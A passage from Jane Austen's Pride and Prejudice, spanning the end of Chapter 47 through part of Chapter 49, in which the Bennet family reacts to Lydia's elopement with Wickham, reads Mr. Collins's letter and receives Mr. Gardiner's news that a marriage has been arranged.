from the town; "and really, upon serious consideration, I am much +more inclined than I was to judge as your eldest sister does on the +matter. It appears to me so very unlikely that any young man should +form such a design against a girl who is by no means unprotected or +friendless, and who was actually staying in his colonel's family, that I +am strongly inclined to hope the best. Could he expect that her friends +would not step forward? Could he expect to be noticed again by the +regiment, after such an affront to Colonel Forster? His temptation is +not adequate to the risk!" + +"Do you really think so?" cried Elizabeth, brightening up for a moment. + +"Upon my word," said Mrs. Gardiner, "I begin to be of your uncle's +opinion. It is really too great a violation of decency, honour, and +interest, for him to be guilty of. I cannot think so very ill of +Wickham. Can you yourself, Lizzy, so wholly give him up, as to believe +him capable of it?" + +"Not, perhaps, of neglecting his own interest; but of every other +neglect I can believe him capable. If, indeed, it should be so! But I +dare not hope it. Why should they not go on to Scotland if that had been +the case?" + +"In the first place," replied Mr. Gardiner, "there is no absolute proof +that they are not gone to Scotland." + +"Oh! but their removing from the chaise into a hackney coach is such +a presumption! And, besides, no traces of them were to be found on the +Barnet road." + +"Well, then--supposing them to be in London. They may be there, though +for the purpose of concealment, for no more exceptional purpose. It is +not likely that money should be very abundant on either side; and it +might strike them that they could be more economically, though less +expeditiously, married in London than in Scotland." + +"But why all this secrecy? Why any fear of detection? Why must their +marriage be private? Oh, no, no--this is not likely. His most particular +friend, you see by Jane's account, was persuaded of his never intending +to marry her. Wickham will never marry a woman without some money. He +cannot afford it. And what claims has Lydia--what attraction has she +beyond youth, health, and good humour that could make him, for her sake, +forego every chance of benefiting himself by marrying well? As to what +restraint the apprehensions of disgrace in the corps might throw on a +dishonourable elopement with her, I am not able to judge; for I know +nothing of the effects that such a step might produce. But as to your +other objection, I am afraid it will hardly hold good. Lydia has +no brothers to step forward; and he might imagine, from my father's +behaviour, from his indolence and the little attention he has ever +seemed to give to what was going forward in his family, that _he_ would +do as little, and think as little about it, as any father could do, in +such a matter." + +"But can you think that Lydia is so lost to everything but love of him +as to consent to live with him on any terms other than marriage?" + +"It does seem, and it is most shocking indeed," replied Elizabeth, with +tears in her eyes, "that a sister's sense of decency and virtue in such +a point should admit of doubt. But, really, I know not what to say. +Perhaps I am not doing her justice. But she is very young; she has never +been taught to think on serious subjects; and for the last half-year, +nay, for a twelvemonth--she has been given up to nothing but amusement +and vanity. She has been allowed to dispose of her time in the most idle +and frivolous manner, and to adopt any opinions that came in her way. +Since the ----shire were first quartered in Meryton, nothing but love, +flirtation, and officers have been in her head. She has been doing +everything in her power by thinking and talking on the subject, to give +greater--what shall I call it? susceptibility to her feelings; which are +naturally lively enough. And we all know that Wickham has every charm of +person and address that can captivate a woman." + +"But you see that Jane," said her aunt, "does not think so very ill of +Wickham as to believe him capable of the attempt." + +"Of whom does Jane ever think ill? And who is there, whatever might be +their former conduct, that she would think capable of such an attempt, +till it were proved against them? But Jane knows, as well as I do, what +Wickham really is. We both know that he has been profligate in every +sense of the word; that he has neither integrity nor honour; that he is +as false and deceitful as he is insinuating." + +"And do you really know all this?" cried Mrs. Gardiner, whose curiosity +as to the mode of her intelligence was all alive. + +"I do indeed," replied Elizabeth, colouring. "I told you, the other day, +of his infamous behaviour to Mr. Darcy; and you yourself, when last at +Longbourn, heard in what manner he spoke of the man who had behaved +with such forbearance and liberality towards him. And there are other +circumstances which I am not at liberty--which it is not worth while to +relate; but his lies about the whole Pemberley family are endless. From +what he said of Miss Darcy I was thoroughly prepared to see a proud, +reserved, disagreeable girl. Yet he knew to the contrary himself. He +must know that she was as amiable and unpretending as we have found +her." + +"But does Lydia know nothing of this? can she be ignorant of what you +and Jane seem so well to understand?" + +"Oh, yes!--that, that is the worst of all. Till I was in Kent, and saw +so much both of Mr. Darcy and his relation Colonel Fitzwilliam, I was +ignorant of the truth myself. And when I returned home, the ----shire +was to leave Meryton in a week or fortnight's time. As that was the +case, neither Jane, to whom I related the whole, nor I, thought it +necessary to make our knowledge public; for of what use could +it apparently be to any one, that the good opinion which all the +neighbourhood had of him should then be overthrown? And even when it was +settled that Lydia should go with Mrs. Forster, the necessity of opening +her eyes to his character never occurred to me. That _she_ could be +in any danger from the deception never entered my head. That such a +consequence as _this_ could ensue, you may easily believe, was far +enough from my thoughts." + +"When they all removed to Brighton, therefore, you had no reason, I +suppose, to believe them fond of each other?" + +"Not the slightest. I can remember no symptom of affection on either +side; and had anything of the kind been perceptible, you must be aware +that ours is not a family on which it could be thrown away. When first +he entered the corps, she was ready enough to admire him; but so we all +were. Every girl in or near Meryton was out of her senses about him for +the first two months; but he never distinguished _her_ by any particular +attention; and, consequently, after a moderate period of extravagant and +wild admiration, her fancy for him gave way, and others of the regiment, +who treated her with more distinction, again became her favourites." + + * * * * * + +It may be easily believed, that however little of novelty could be added +to their fears, hopes, and conjectures, on this interesting subject, by +its repeated discussion, no other could detain them from it long, during +the whole of the journey. From Elizabeth's thoughts it was never absent. +Fixed there by the keenest of all anguish, self-reproach, she could find +no interval of ease or forgetfulness. + +They travelled as expeditiously as possible, and, sleeping one night +on the road, reached Longbourn by dinner time the next day. It was a +comfort to Elizabeth to consider that Jane could not have been wearied +by long expectations. + +The little Gardiners, attracted by the sight of a chaise, were standing +on the steps of the house as they entered the paddock; and, when the +carriage drove up to the door, the joyful surprise that lighted up their +faces, and displayed itself over their whole bodies, in a variety of +capers and frisks, was the first pleasing earnest of their welcome. + +Elizabeth jumped out; and, after giving each of them a hasty kiss, +hurried into the vestibule, where Jane, who came running down from her +mother's apartment, immediately met her. + +Elizabeth, as she affectionately embraced her, whilst tears filled the +eyes of both, lost not a moment in asking whether anything had been +heard of the fugitives. + +"Not yet," replied Jane. "But now that my dear uncle is come, I hope +everything will be well." + +"Is my father in town?" + +"Yes, he went on Tuesday, as I wrote you word." + +"And have you heard from him often?" + +"We have heard only twice. He wrote me a few lines on Wednesday to say +that he had arrived in safety, and to give me his directions, which I +particularly begged him to do. He merely added that he should not write +again till he had something of importance to mention." + +"And my mother--how is she? How are you all?" + +"My mother is tolerably well, I trust; though her spirits are greatly +shaken. She is up stairs and will have great satisfaction in seeing you +all. She does not yet leave her dressing-room. Mary and Kitty, thank +Heaven, are quite well." + +"But you--how are you?" cried Elizabeth. "You look pale. How much you +must have gone through!" + +Her sister, however, assured her of her being perfectly well; and their +conversation, which had been passing while Mr. and Mrs. Gardiner were +engaged with their children, was now put an end to by the approach +of the whole party. Jane ran to her uncle and aunt, and welcomed and +thanked them both, with alternate smiles and tears. + +When they were all in the drawing-room, the questions which Elizabeth +had already asked were of course repeated by the others, and they soon +found that Jane had no intelligence to give. The sanguine hope of +good, however, which the benevolence of her heart suggested had not yet +deserted her; she still expected that it would all end well, and that +every morning would bring some letter, either from Lydia or her father, +to explain their proceedings, and, perhaps, announce their marriage. + +Mrs. Bennet, to whose apartment they all repaired, after a few minutes' +conversation together, received them exactly as might be expected; with +tears and lamentations of regret, invectives against the villainous +conduct of Wickham, and complaints of her own sufferings and ill-usage; +blaming everybody but the person to whose ill-judging indulgence the +errors of her daughter must principally be owing. + +"If I had been able," said she, "to carry my point in going to Brighton, +with all my family, _this_ would not have happened; but poor dear Lydia +had nobody to take care of her. Why did the Forsters ever let her go out +of their sight? I am sure there was some great neglect or other on their +side, for she is not the kind of girl to do such a thing if she had been +well looked after. I always thought they were very unfit to have the +charge of her; but I was overruled, as I always am. Poor dear child! +And now here's Mr. Bennet gone away, and I know he will fight Wickham, +wherever he meets him and then he will be killed, and what is to become +of us all? The Collinses will turn us out before he is cold in his +grave, and if you are not kind to us, brother, I do not know what we +shall do." + +They all exclaimed against such terrific ideas; and Mr. Gardiner, after +general assurances of his affection for her and all her family, told her +that he meant to be in London the very next day, and would assist Mr. +Bennet in every endeavour for recovering Lydia. + +"Do not give way to useless alarm," added he; "though it is right to be +prepared for the worst, there is no occasion to look on it as certain. +It is not quite a week since they left Brighton. In a few days more we +may gain some news of them; and till we know that they are not married, +and have no design of marrying, do not let us give the matter over as +lost. As soon as I get to town I shall go to my brother, and make +him come home with me to Gracechurch Street; and then we may consult +together as to what is to be done." + +"Oh! my dear brother," replied Mrs. Bennet, "that is exactly what I +could most wish for. And now do, when you get to town, find them out, +wherever they may be; and if they are not married already, _make_ them +marry. And as for wedding clothes, do not let them wait for that, but +tell Lydia she shall have as much money as she chooses to buy them, +after they are married. And, above all, keep Mr. Bennet from fighting. +Tell him what a dreadful state I am in, that I am frighted out of my +wits--and have such tremblings, such flutterings, all over me--such +spasms in my side and pains in my head, and such beatings at heart, that +I can get no rest by night nor by day. And tell my dear Lydia not to +give any directions about her clothes till she has seen me, for she does +not know which are the best warehouses. Oh, brother, how kind you are! I +know you will contrive it all." + +But Mr. Gardiner, though he assured her again of his earnest endeavours +in the cause, could not avoid recommending moderation to her, as well +in her hopes as her fear; and after talking with her in this manner till +dinner was on the table, they all left her to vent all her feelings on +the housekeeper, who attended in the absence of her daughters. + +Though her brother and sister were persuaded that there was no real +occasion for such a seclusion from the family, they did not attempt to +oppose it, for they knew that she had not prudence enough to hold her +tongue before the servants, while they waited at table, and judged it +better that _one_ only of the household, and the one whom they could +most trust should comprehend all her fears and solicitude on the +subject. + +In the dining-room they were soon joined by Mary and Kitty, who had been +too busily engaged in their separate apartments to make their appearance +before. One came from her books, and the other from her toilette. The +faces of both, however, were tolerably calm; and no change was visible +in either, except that the loss of her favourite sister, or the anger +which she had herself incurred in this business, had given more of +fretfulness than usual to the accents of Kitty. As for Mary, she was +mistress enough of herself to whisper to Elizabeth, with a countenance +of grave reflection, soon after they were seated at table: + +"This is a most unfortunate affair, and will probably be much talked of. +But we must stem the tide of malice, and pour into the wounded bosoms of +each other the balm of sisterly consolation." + +Then, perceiving in Elizabeth no inclination of replying, she added, +"Unhappy as the event must be for Lydia, we may draw from it this useful +lesson: that loss of virtue in a female is irretrievable; that one +false step involves her in endless ruin; that her reputation is no less +brittle than it is beautiful; and that she cannot be too much guarded in +her behaviour towards the undeserving of the other sex." + +Elizabeth lifted up her eyes in amazement, but was too much oppressed +to make any reply. Mary, however, continued to console herself with such +kind of moral extractions from the evil before them. + +In the afternoon, the two elder Miss Bennets were able to be for +half-an-hour by themselves; and Elizabeth instantly availed herself of +the opportunity of making any inquiries, which Jane was equally eager to +satisfy. After joining in general lamentations over the dreadful sequel +of this event, which Elizabeth considered as all but certain, and Miss +Bennet could not assert to be wholly impossible, the former continued +the subject, by saying, "But tell me all and everything about it which +I have not already heard. Give me further particulars. What did Colonel +Forster say? Had they no apprehension of anything before the elopement +took place? They must have seen them together for ever." + +"Colonel Forster did own that he had often suspected some partiality, +especially on Lydia's side, but nothing to give him any alarm. I am so +grieved for him! His behaviour was attentive and kind to the utmost. He +_was_ coming to us, in order to assure us of his concern, before he had +any idea of their not being gone to Scotland: when that apprehension +first got abroad, it hastened his journey." + +"And was Denny convinced that Wickham would not marry? Did he know of +their intending to go off? Had Colonel Forster seen Denny himself?" + +"Yes; but, when questioned by _him_, Denny denied knowing anything of +their plans, and would not give his real opinion about it. He did not +repeat his persuasion of their not marrying--and from _that_, I am +inclined to hope, he might have been misunderstood before." + +"And till Colonel Forster came himself, not one of you entertained a +doubt, I suppose, of their being really married?" + +"How was it possible that such an idea should enter our brains? I felt +a little uneasy--a little fearful of my sister's happiness with him +in marriage, because I knew that his conduct had not been always quite +right. My father and mother knew nothing of that; they only felt how +imprudent a match it must be. Kitty then owned, with a very natural +triumph on knowing more than the rest of us, that in Lydia's last letter +she had prepared her for such a step. She had known, it seems, of their +being in love with each other, many weeks." + +"But not before they went to Brighton?" + +"No, I believe not." + +"And did Colonel Forster appear to think well of Wickham himself? Does +he know his real character?" + +"I must confess that he did not speak so well of Wickham as he formerly +did. He believed him to be imprudent and extravagant. And since this sad +affair has taken place, it is said that he left Meryton greatly in debt; +but I hope this may be false." + +"Oh, Jane, had we been less secret, had we told what we knew of him, +this could not have happened!" + +"Perhaps it would have been better," replied her sister. "But to expose +the former faults of any person without knowing what their present +feelings were, seemed unjustifiable. We acted with the best intentions." + +"Could Colonel Forster repeat the particulars of Lydia's note to his +wife?" + +"He brought it with him for us to see." + +Jane then took it from her pocket-book, and gave it to Elizabeth. These +were the contents: + +"MY DEAR HARRIET, + +"You will laugh when you know where I am gone, and I cannot help +laughing myself at your surprise to-morrow morning, as soon as I am +missed. I am going to Gretna Green, and if you cannot guess with who, +I shall think you a simpleton, for there is but one man in the world I +love, and he is an angel. I should never be happy without him, so think +it no harm to be off. You need not send them word at Longbourn of my +going, if you do not like it, for it will make the surprise the greater, +when I write to them and sign my name 'Lydia Wickham.' What a good joke +it will be! I can hardly write for laughing. Pray make my excuses to +Pratt for not keeping my engagement, and dancing with him to-night. +Tell him I hope he will excuse me when he knows all; and tell him I will +dance with him at the next ball we meet, with great pleasure. I shall +send for my clothes when I get to Longbourn; but I wish you would tell +Sally to mend a great slit in my worked muslin gown before they are +packed up. Good-bye. Give my love to Colonel Forster. I hope you will +drink to our good journey. + +"Your affectionate friend, + +"LYDIA BENNET." + +"Oh! thoughtless, thoughtless Lydia!" cried Elizabeth when she had +finished it. "What a letter is this, to be written at such a moment! +But at least it shows that _she_ was serious on the subject of their +journey. Whatever he might afterwards persuade her to, it was not on her +side a _scheme_ of infamy. My poor father! how he must have felt it!" + +"I never saw anyone so shocked. He could not speak a word for full ten +minutes. My mother was taken ill immediately, and the whole house in +such confusion!" + +"Oh! Jane," cried Elizabeth, "was there a servant belonging to it who +did not know the whole story before the end of the day?" + +"I do not know. I hope there was. But to be guarded at such a time is +very difficult. My mother was in hysterics, and though I endeavoured to +give her every assistance in my power, I am afraid I did not do so +much as I might have done! But the horror of what might possibly happen +almost took from me my faculties." + +"Your attendance upon her has been too much for you. You do not look +well. Oh that I had been with you! you have had every care and anxiety +upon yourself alone." + +"Mary and Kitty have been very kind, and would have shared in every +fatigue, I am sure; but I did not think it right for either of them. +Kitty is slight and delicate; and Mary studies so much, that her hours +of repose should not be broken in on. My aunt Phillips came to Longbourn +on Tuesday, after my father went away; and was so good as to stay till +Thursday with me. She was of great use and comfort to us all. And +Lady Lucas has been very kind; she walked here on Wednesday morning to +condole with us, and offered her services, or any of her daughters', if +they should be of use to us." + +"She had better have stayed at home," cried Elizabeth; "perhaps she +_meant_ well, but, under such a misfortune as this, one cannot see +too little of one's neighbours. Assistance is impossible; condolence +insufferable. Let them triumph over us at a distance, and be satisfied." + +She then proceeded to inquire into the measures which her father had +intended to pursue, while in town, for the recovery of his daughter. + +"He meant I believe," replied Jane, "to go to Epsom, the place where +they last changed horses, see the postilions and try if anything could +be made out from them. His principal object must be to discover the +number of the hackney coach which took them from Clapham. It had come +with a fare from London; and as he thought that the circumstance of a +gentleman and lady's removing from one carriage into another might +be remarked he meant to make inquiries at Clapham. If he could anyhow +discover at what house the coachman had before set down his fare, he +determined to make inquiries there, and hoped it might not be impossible +to find out the stand and number of the coach. I do not know of any +other designs that he had formed; but he was in such a hurry to be gone, +and his spirits so greatly discomposed, that I had difficulty in finding +out even so much as this." + + + +Chapter 48 + + +The whole party were in hopes of a letter from Mr. Bennet the next +morning, but the post came in without bringing a single line from him. +His family knew him to be, on all common occasions, a most negligent and +dilatory correspondent; but at such a time they had hoped for exertion. +They were forced to conclude that he had no pleasing intelligence to +send; but even of _that_ they would have been glad to be certain. Mr. +Gardiner had waited only for the letters before he set off. + +When he was gone, they were certain at least of receiving constant +information of what was going on, and their uncle promised, at parting, +to prevail on Mr. Bennet to return to Longbourn, as soon as he could, +to the great consolation of his sister, who considered it as the only +security for her husband's not being killed in a duel. + +Mrs. Gardiner and the children were to remain in Hertfordshire a few +days longer, as the former thought her presence might be serviceable +to her nieces. She shared in their attendance on Mrs. Bennet, and was a +great comfort to them in their hours of freedom. Their other aunt also +visited them frequently, and always, as she said, with the design of +cheering and heartening them up--though, as she never came without +reporting some fresh instance of Wickham's extravagance or irregularity, +she seldom went away without leaving them more dispirited than she found +them. + +All Meryton seemed striving to blacken the man who, but three months +before, had been almost an angel of light. He was declared to be in debt +to every tradesman in the place, and his intrigues, all honoured with +the title of seduction, had been extended into every tradesman's family. +Everybody declared that he was the wickedest young man in the world; +and everybody began to find out that they had always distrusted the +appearance of his goodness. Elizabeth, though she did not credit above +half of what was said, believed enough to make her former assurance of +her sister's ruin more certain; and even Jane, who believed still less +of it, became almost hopeless, more especially as the time was now come +when, if they had gone to Scotland, which she had never before entirely +despaired of, they must in all probability have gained some news of +them. + +Mr. Gardiner left Longbourn on Sunday; on Tuesday his wife received a +letter from him; it told them that, on his arrival, he had immediately +found out his brother, and persuaded him to come to Gracechurch Street; +that Mr. Bennet had been to Epsom and Clapham, before his arrival, +but without gaining any satisfactory information; and that he was now +determined to inquire at all the principal hotels in town, as Mr. Bennet +thought it possible they might have gone to one of them, on their first +coming to London, before they procured lodgings. Mr. Gardiner himself +did not expect any success from this measure, but as his brother was +eager in it, he meant to assist him in pursuing it. He added that Mr. +Bennet seemed wholly disinclined at present to leave London and promised +to write again very soon. There was also a postscript to this effect: + +"I have written to Colonel Forster to desire him to find out, if +possible, from some of the young man's intimates in the regiment, +whether Wickham has any relations or connections who would be likely to +know in what part of town he has now concealed himself. If there were +anyone that one could apply to with a probability of gaining such a +clue as that, it might be of essential consequence. At present we have +nothing to guide us. Colonel Forster will, I dare say, do everything in +his power to satisfy us on this head. But, on second thoughts, perhaps, +Lizzy could tell us what relations he has now living, better than any +other person." + +Elizabeth was at no loss to understand from whence this deference to her +authority proceeded; but it was not in her power to give any information +of so satisfactory a nature as the compliment deserved. She had never +heard of his having had any relations, except a father and mother, both +of whom had been dead many years. It was possible, however, that some of +his companions in the ----shire might be able to give more information; +and though she was not very sanguine in expecting it, the application +was a something to look forward to. + +Every day at Longbourn was now a day of anxiety; but the most anxious +part of each was when the post was expected. The arrival of letters +was the grand object of every morning's impatience. Through letters, +whatever of good or bad was to be told would be communicated, and every +succeeding day was expected to bring some news of importance. + +But before they heard again from Mr. Gardiner, a letter arrived for +their father, from a different quarter, from Mr. Collins; which, as Jane +had received directions to open all that came for him in his absence, +she accordingly read; and Elizabeth, who knew what curiosities his +letters always were, looked over her, and read it likewise. It was as +follows: + +"MY DEAR SIR, + +"I feel myself called upon, by our relationship, and my situation +in life, to condole with you on the grievous affliction you are now +suffering under, of which we were yesterday informed by a letter from +Hertfordshire. Be assured, my dear sir, that Mrs. Collins and myself +sincerely sympathise with you and all your respectable family, in +your present distress, which must be of the bitterest kind, because +proceeding from a cause which no time can remove. No arguments shall be +wanting on my part that can alleviate so severe a misfortune--or that +may comfort you, under a circumstance that must be of all others the +most afflicting to a parent's mind. The death of your daughter would +have been a blessing in comparison of this. And it is the more to +be lamented, because there is reason to suppose as my dear Charlotte +informs me, that this licentiousness of behaviour in your daughter has +proceeded from a faulty degree of indulgence; though, at the same time, +for the consolation of yourself and Mrs. Bennet, I am inclined to think +that her own disposition must be naturally bad, or she could not be +guilty of such an enormity, at so early an age. Howsoever that may be, +you are grievously to be pitied; in which opinion I am not only joined +by Mrs. Collins, but likewise by Lady Catherine and her daughter, to +whom I have related the affair. They agree with me in apprehending that +this false step in one daughter will be injurious to the fortunes of +all the others; for who, as Lady Catherine herself condescendingly says, +will connect themselves with such a family? And this consideration leads +me moreover to reflect, with augmented satisfaction, on a certain event +of last November; for had it been otherwise, I must have been involved +in all your sorrow and disgrace. Let me then advise you, dear sir, to +console yourself as much as possible, to throw off your unworthy child +from your affection for ever, and leave her to reap the fruits of her +own heinous offense. + +"I am, dear sir, etc., etc." + +Mr. Gardiner did not write again till he had received an answer from +Colonel Forster; and then he had nothing of a pleasant nature to send. +It was not known that Wickham had a single relationship with whom he +kept up any connection, and it was certain that he had no near one +living. His former acquaintances had been numerous; but since he +had been in the militia, it did not appear that he was on terms of +particular friendship with any of them. There was no one, therefore, +who could be pointed out as likely to give any news of him. And in the +wretched state of his own finances, there was a very powerful motive for +secrecy, in addition to his fear of discovery by Lydia's relations, for +it had just transpired that he had left gaming debts behind him to a +very considerable amount. Colonel Forster believed that more than a +thousand pounds would be necessary to clear his expenses at Brighton. +He owed a good deal in town, but his debts of honour were still more +formidable. Mr. Gardiner did not attempt to conceal these particulars +from the Longbourn family. Jane heard them with horror. "A gamester!" +she cried. "This is wholly unexpected. I had not an idea of it." + +Mr. Gardiner added in his letter, that they might expect to see their +father at home on the following day, which was Saturday. Rendered +spiritless by the ill-success of all their endeavours, he had yielded +to his brother-in-law's entreaty that he would return to his family, and +leave it to him to do whatever occasion might suggest to be advisable +for continuing their pursuit. When Mrs. Bennet was told of this, she did +not express so much satisfaction as her children expected, considering +what her anxiety for his life had been before. + +"What, is he coming home, and without poor Lydia?" she cried. "Sure he +will not leave London before he has found them. Who is to fight Wickham, +and make him marry her, if he comes away?" + +As Mrs. Gardiner began to wish to be at home, it was settled that she +and the children should go to London, at the same time that Mr. Bennet +came from it. The coach, therefore, took them the first stage of their +journey, and brought its master back to Longbourn. + +Mrs. Gardiner went away in all the perplexity about Elizabeth and her +Derbyshire friend that had attended her from that part of the world. His +name had never been voluntarily mentioned before them by her niece; and +the kind of half-expectation which Mrs. Gardiner had formed, of their +being followed by a letter from him, had ended in nothing. Elizabeth had +received none since her return that could come from Pemberley. + +The present unhappy state of the family rendered any other excuse for +the lowness of her spirits unnecessary; nothing, therefore, could be +fairly conjectured from _that_, though Elizabeth, who was by this time +tolerably well acquainted with her own feelings, was perfectly aware +that, had she known nothing of Darcy, she could have borne the dread of +Lydia's infamy somewhat better. It would have spared her, she thought, +one sleepless night out of two. + +When Mr. Bennet arrived, he had all the appearance of his usual +philosophic composure. He said as little as he had ever been in the +habit of saying; made no mention of the business that had taken him +away, and it was some time before his daughters had courage to speak of +it. + +It was not till the afternoon, when he had joined them at tea, that +Elizabeth ventured to introduce the subject; and then, on her briefly +expressing her sorrow for what he must have endured, he replied, "Say +nothing of that. Who should suffer but myself? It has been my own doing, +and I ought to feel it." + +"You must not be too severe upon yourself," replied Elizabeth. + +"You may well warn me against such an evil. Human nature is so prone +to fall into it! No, Lizzy, let me once in my life feel how much I have +been to blame. I am not afraid of being overpowered by the impression. +It will pass away soon enough." + +"Do you suppose them to be in London?" + +"Yes; where else can they be so well concealed?" + +"And Lydia used to want to go to London," added Kitty. + +"She is happy then," said her father drily; "and her residence there +will probably be of some duration." + +Then after a short silence he continued: + +"Lizzy, I bear you no ill-will for being justified in your advice to me +last May, which, considering the event, shows some greatness of mind." + +They were interrupted by Miss Bennet, who came to fetch her mother's +tea. + +"This is a parade," he cried, "which does one good; it gives such an +elegance to misfortune! Another day I will do the same; I will sit in my +library, in my nightcap and powdering gown, and give as much trouble as +I can; or, perhaps, I may defer it till Kitty runs away." + +"I am not going to run away, papa," said Kitty fretfully. "If I should +ever go to Brighton, I would behave better than Lydia." + +"_You_ go to Brighton. I would not trust you so near it as Eastbourne +for fifty pounds! No, Kitty, I have at last learnt to be cautious, and +you will feel the effects of it. No officer is ever to enter into +my house again, nor even to pass through the village. Balls will be +absolutely prohibited, unless you stand up with one of your sisters. +And you are never to stir out of doors till you can prove that you have +spent ten minutes of every day in a rational manner." + +Kitty, who took all these threats in a serious light, began to cry. + +"Well, well," said he, "do not make yourself unhappy. If you are a good +girl for the next ten years, I will take you to a review at the end of +them." + + + +Chapter 49 + + +Two days after Mr. Bennet's return, as Jane and Elizabeth were walking +together in the shrubbery behind the house, they saw the housekeeper +coming towards them, and, concluding that she came to call them to their +mother, went forward to meet her; but, instead of the expected summons, +when they approached her, she said to Miss Bennet, "I beg your pardon, +madam, for interrupting you, but I was in hopes you might have got some +good news from town, so I took the liberty of coming to ask." + +"What do you mean, Hill? We have heard nothing from town." + +"Dear madam," cried Mrs. Hill, in great astonishment, "don't you know +there is an express come for master from Mr. Gardiner? He has been here +this half-hour, and master has had a letter." + +Away ran the girls, too eager to get in to have time for speech. They +ran through the vestibule into the breakfast-room; from thence to the +library; their father was in neither; and they were on the point of +seeking him up stairs with their mother, when they were met by the +butler, who said: + +"If you are looking for my master, ma'am, he is walking towards the +little copse." + +Upon this information, they instantly passed through the hall once +more, and ran across the lawn after their father, who was deliberately +pursuing his way towards a small wood on one side of the paddock. + +Jane, who was not so light nor so much in the habit of running as +Elizabeth, soon lagged behind, while her sister, panting for breath, +came up with him, and eagerly cried out: + +"Oh, papa, what news--what news? Have you heard from my uncle?" + +"Yes I have had a letter from him by express." + +"Well, and what news does it bring--good or bad?" + +"What is there of good to be expected?" said he, taking the letter from +his pocket. "But perhaps you would like to read it." + +Elizabeth impatiently caught it from his hand. Jane now came up. + +"Read it aloud," said their father, "for I hardly know myself what it is +about." + +"Gracechurch Street, Monday, August 2. + +"MY DEAR BROTHER, + +"At last I am able to send you some tidings of my niece, and such as, +upon the whole, I hope it will give you satisfaction. Soon after you +left me on Saturday, I was fortunate enough to find out in what part of +London they were. The particulars I reserve till we meet; it is enough +to know they are discovered. I have seen them both--" + +"Then it is as I always hoped," cried Jane; "they are married!" + +Elizabeth read on: + +"I have seen them both. They are not married, nor can I find there +was any intention of being so; but if you are willing to perform the +engagements which I have ventured to make on your side, I hope it will +not be long before they are. All that is required of you is, to assure +to your daughter, by settlement, her equal share of the five thousand +pounds secured among your children after the decease of yourself and +my sister; and, moreover, to enter into an engagement of allowing her, +during your life, one hundred pounds per annum. These are conditions +which, considering everything, I had no hesitation in complying with, +as far as I thought myself privileged, for you. I shall send this by +express, that no time may be lost in bringing me your answer. You +will easily comprehend, from these particulars, that Mr. Wickham's +circumstances are not so hopeless as they are generally believed to be. +The world has been deceived in that respect; and I am happy to say there +will be some little money, even when all his debts are discharged, to +settle on my niece, in addition to her own fortune. If, as I conclude +will be the case, you send me full powers to act in your name throughout +the whole of this business, I will immediately give directions to +Haggerston for preparing a proper settlement. There will not be the +smallest occasion for your coming to town again; therefore stay quiet at +Longbourn, and depend on my diligence and care. Send back your answer as +fast as you can, and be careful to write explicitly. We have judged it +best that my niece should be married from this house, of which I hope +you will approve. She comes to us to-day. I shall write again as soon as +anything more is determined on. Yours, etc., + +"EDW. GARDINER." + +"Is it possible?" cried Elizabeth, when she had finished. "Can it be +possible that he will marry her?" + +"Wickham is not so undeserving, then, as we thought him," said her +sister. "My dear father, I congratulate you." + +"And have you answered the letter?" cried Elizabeth. + +"No; but it must be done soon." + +Most earnestly did she then entreat him to lose no more time before he +wrote. + +"Oh! my dear father," she cried, "come back and write immediately. +Consider how important every moment is in such a case." + +"Let me write for you," said Jane, "if you dislike the trouble +yourself." + +"I dislike it very much," he replied; "but it must be done." + +And so saying, he turned back with them, and walked towards the house. + +"And may I ask--" said Elizabeth; "but the terms, I suppose, must be +complied with." + +"Complied with! I am only ashamed of his asking so little." + +"And they _must_ marry! Yet he is _such_ a man!" + +"Yes, yes, they must marry. There is nothing else to be done. But there +are two things that I want very much to know; one is, how much money +your uncle has laid down to bring it about; and the other, how am I ever +to pay him." + +"Money! My uncle!" cried Jane, "what do you mean, sir?" + +"I mean, that no man in his senses would marry Lydia on so slight a +temptation as one hundred a year during my life, and fifty after I am +gone." + +"That is very true," said Elizabeth; "though it had not occurred to me +before. His debts to be discharged, and something still to remain! Oh! +it must be my uncle's doings! Generous, good man, I am afraid he has +distressed himself. A small sum could not do all this." + +"No," said her father; "Wickham's a fool if he takes her with a farthing +less than ten thousand pounds. I should be sorry to think so ill of him, +in the very beginning of our relationship." + +"Ten thousand pounds! Heaven forbid! How is half such a sum to be +repaid?" + +Mr. Bennet made no answer, and each of them, deep in thought, continued +silent till they reached the house. Their father then went on to the +library to write, and the girls walked into the breakfast-room. + +"And they are really to be married!" cried Elizabeth, as soon as they +were by themselves. "How strange this is! And for _this_ we are to be +thankful. That they should marry, small as is their chance of happiness, +and wretched as is his character, we are forced to rejoice. Oh, Lydia!" + +"I comfort myself with thinking," replied Jane, "that he certainly would +not marry Lydia if he had not a real regard for her. Though our kind +uncle has done something towards clearing him, I cannot believe that ten +thousand pounds, or anything like it, has been advanced. He has children +of his own, and may have more. How could he spare half ten thousand +pounds?" + +"If he were ever able to learn what Wickham's debts have been," said +Elizabeth, "and how much is settled on his side on our sister, we shall +exactly know what Mr. Gardiner has done for them, because Wickham has +not sixpence of his own. The kindness of my uncle and aunt can never +be requited. Their taking her home, and affording her their personal +protection and countenance, is such a sacrifice to her advantage as +years of gratitude cannot enough acknowledge. By this time she is +actually with them! If such goodness does not make her miserable now, +she will never deserve to be happy! What a meeting for her, when she +first sees my aunt!" + +"We must endeavour to forget all that has passed on either side," said +Jane: "I hope and trust they will yet be happy. His consenting to +marry her is a proof, I will believe, that he is come to a right way of +thinking. Their mutual affection will steady them; and I flatter myself +they will settle so quietly, and live in so rational a manner, as may in +time make their past imprudence forgotten." + +"Their conduct has been such," replied Elizabeth, "as neither you, nor +I, nor anybody can ever forget. It is useless to talk of it." + +It now occurred to the girls that their mother was in all likelihood +perfectly ignorant of what had happened. They went to the library, +therefore, and asked their father whether he would not wish them to make +it known to her. He was writing and, without raising his head, coolly +replied: + +"Just as you please." + +"May we take my uncle's letter to read to her?" + +"Take whatever you like, and get away." + +Elizabeth took the letter from his writing-table, and they went up stairs +together. Mary and Kitty were both with Mrs. Bennet: one communication +would, therefore, do for all. After a slight preparation for good news, +the letter was read aloud. Mrs. Bennet could hardly contain herself. As +soon as Jane had read Mr. Gardiner's hope of Lydia's being soon +married, her joy burst forth, and every following sentence added to its +exuberance. She was now in an irritation as violent from delight, as she +had ever been fidgety from alarm and vexation. To know that her daughter +would be married was enough. She was disturbed by no fear for her +felicity, nor humbled by any remembrance of her misconduct. + +"My dear, dear Lydia!" she cried. "This is delightful indeed! She will +be married! I shall see her again! She will be married at sixteen! +My good, kind brother! I knew how it would be. I knew he would manage +everything! How I long to see her! and to see dear Wickham too! But the +clothes, the wedding clothes! I will write to my sister Gardiner about +them directly. Lizzy, my dear, run down to your father, and ask him +how much he will give her. 